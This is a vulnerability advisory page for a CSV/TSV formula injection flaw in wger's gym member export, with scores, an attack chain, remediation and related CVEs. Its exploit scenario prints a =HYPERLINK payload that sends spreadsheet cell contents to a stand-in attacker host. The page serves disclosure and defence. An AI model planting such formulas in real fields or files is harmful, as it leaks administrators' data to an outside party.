Skip to main content

wger CVE-2026-86257

| EUVDEUVD-2026-72113 MEDIUM
Improper Neutralization of Formula Elements in a CSV File (CWE-1236)
2026-09-06 VulnCheck GHSA-pmr9-wpc3-f495
4.8
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Register gym member account
  2. Delivery
    Inject formula into first_name or last_name profile field
  3. Exploit
    Gym admin exports member list as TSV
  4. Execution
    Admin opens TSV in Excel or LibreOffice Calc
  5. Persist
    Formula evaluates in admin's local spreadsheet context
  6. Impact
    Exfiltrate spreadsheet data or execute local code via DDE

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization CSV injection prevention
Exploitation Conditions

Exploitation requires a valid gym member account on the target wger instance - self-registration lowers this barrier on publicly accessible deployments. The attacker must control the value of first_name or last_name stored in their own profile. The final payload executes only when a gym administrator explicitly exports the member list via GET /en/gym/export/users/<gym_pk> and opens the resulting TSV file in a formula-evaluating spreadsheet application (Excel, LibreOffice Calc, or Google Sheets). Arbitrary local code execution additionally requires DDE to be enabled in the spreadsheet client, which is disabled by default in modern Excel versions. The wger server itself is never directly compromised - all formula evaluation occurs in the admin's local spreadsheet client.

Impact

The CVSS 4.0 base score of 4.8 reflects the constrained real-world impact: vulnerable-system confidentiality and integrity are both N (the wger server itself is not compromised), while the subsequent-system impact is low (SC:L/SI:L). Exploitation requires a low-privileged authenticated gym member account (PR:L) and active user interaction from an admin (UI:A), significantly limiting the attack surface compared to unauthenticated or zero-interaction vulnerabilities. The most severe outcome - arbitrary code execution - is gated on the admin using a legacy Excel configuration with DDE enabled, a non-default and increasingly uncommon scenario. The more realistic impact is data exfiltration of visible spreadsheet content via formula callbacks. Self-registration on wger instances may lower the barrier to obtaining a member account. No EPSS data is present in the provided input; no KEV listing exists. A proof-of-concept is described in the GHSA advisory and was tested against wger server, so the exploitability is confirmed in principle, but active exploitation has not been observed.

Exploit ScenarioDerived

A self-registered gym member sets their first_name field to =HYPERLINK("http://attacker.example/?data="&A1,"click here") via the wger profile edit endpoint. When a gym administrator later navigates to the member export endpoint and downloads the TSV file, then opens it in Excel or LibreOffice Calc, the formula evaluates automatically, issuing an HTTP request to the attacker's server that includes the contents of cell A1 - potentially exposing admin-visible spreadsheet data. A proof-of-concept for this exact scenario is documented in GHSA-xq9m-hmp9-fw87.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 06, 2026

CSV/TSV formula injection in wger's gym member export endpoint allows any authenticated gym member to pre-load spreadsheet formulas into their own first_name or last_name profile fields, which are then reproduced verbatim in the TSV export file. When a gym administrator opens the exported file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context, enabling data exfiltration via =HYPERLINK callbacks and, on legacy Excel deployments with DDE enabled, arbitrary local code execution. No public exploit code has been independently verified beyond the researcher's proof-of-concept described in the GHSA advisory; this vulnerability is not listed in the CISA KEV catalog.

RemediationAI

Upgrade wger to version 2.6, which includes formula-prefix sanitization in wger/gym/views/export.py. The fix prepends a single quote to any cell value beginning with =, +, -, @, tab, or carriage return - the OWASP-recommended approach for neutralizing CSV/TSV formula injection. If upgrading immediately is not feasible, a compensating control is to restrict access to the gym member export endpoint to trusted administrator accounts only, and advise admins to open any TSV export in a text editor or a spreadsheet application with formula execution disabled (e.g., LibreOffice Calc with macros and DDE disabled, or Google Sheets which prompts before evaluating external links). Disabling self-registration on publicly accessible wger instances reduces the pool of potential attackers. The vendor advisory is at https://github.com/wger-project/wger/security/advisories/GHSA-xq9m-hmp9-fw87.

Affected VersionsENISA

wger 0 <2.6

Affected Packages

pypi wger fix: 2.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

wger is an open-source fitness and gym management web application (CPE: cpe:2.3:a:wger-project:wger). The vulnerable export endpoint at GET /en/gym/export/users/<gym_pk> in wger/gym/views/export.py uses Python's csv.writer to build a TSV file from user profile data. Python's csv.writer provides no formula-prefix sanitization - it does not escape characters such as =, +, -, @, tab, or carriage return that spreadsheet applications treat as formula triggers (CWE-1236: Improper Neutralization of Formula Elements in a CSV File). User-supplied first_name and last_name values are written verbatim to TSV cells. Because spreadsheet formula evaluation occurs client-side when the admin opens the file, the injection crosses the server boundary into the admin's local application context, potentially affecting systems beyond the wger server.

Know when Wger gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network-reachable, low complexity; requires authenticated member (PR:L) and admin opening exported file (UI:R); scope changes to admin's local spreadsheet context (S:C) with low confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Sep 06, 2026 - 13:01 EUVD

DescriptionCVE.org

wger before 2.6 fails to sanitize first_name and last_name fields in the gym member TSV export endpoint, allowing any gym member to inject spreadsheet formulas. Attackers can inject formulas like =HYPERLINK to exfiltrate admin data or execute code when admins open the exported file in Excel or LibreOffice Calc.

Threat Intelligence Overview

EPSS Score
0.2%
Top 94% exploitable
Prevalence
Low
niche open-source gym management app, limited enterprise footprint
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

24
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

More in Wger

View all
CVE-2022-2650 CRITICAL POC
9.8 Nov 24

Improper Restriction of Excessive Authentication Attempts in GitHub repository wger-project/wger prior to 2.2. Rated cri

CVE-2023-38758 MEDIUM POC
5.4 Aug 08

Cross Site Scripting vulnerability in wger Project wger Workout Manager v.2.2.0a3 allows a remote attacker to gain privi

CVE-2023-38759 HIGH
8.8 Aug 08

Cross Site Request Forgery (CSRF) vulnerability in wger Project wger Workout Manager 2.2.0a3 allows a remote attacker to

CVE-2026-27839 MEDIUM POC
4.3 Feb 26

Wger versions up to 2.4 allow authenticated users to access other users' private nutrition plans through insecure direct

CVE-2026-27835 MEDIUM POC
4.3 Feb 26

Wger versions up to 2.4 expose all users' repetition configuration data to any authenticated attacker due to missing aut

CVE-2026-86255 HIGH
7.1 Sep 06

Uncontrolled resource consumption in wger before 2.5 allows any authenticated user to exhaust server worker threads and

CVE-2026-27838 LOW POC
3.1 Feb 26

wger is a free, open-source workout and fitness manager. Five routine detail action endpoints check a cache before calli

CVE-2026-46434 HIGH
7.1 Oct 07

Account-deactivation privilege escalation in wger before 2.6 lets an authenticated user who holds only the gym_trainer r

CVE-2026-46438 MEDIUM
6.5 Oct 07

Cross-user integrity corruption in wger versions prior to 2.6 allows authenticated attackers to inject arbitrary workout

CVE-2026-86254 MEDIUM
6.1 Sep 06

Incomplete authorization fix in wger through master exposes three user-management views in wger/core/views/user.py to th

CVE-2026-45161 MEDIUM
5.4 Oct 07

wger before 2.6 contains a CSRF bypass (CWE-352) that lets an attacker-controlled web page silently rebind an authentica

CVE-2026-82544 MEDIUM
5.3 Aug 30

Cross-site request forgery in wger's gym password-reset endpoint allows a remote attacker to force an arbitrary member's

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy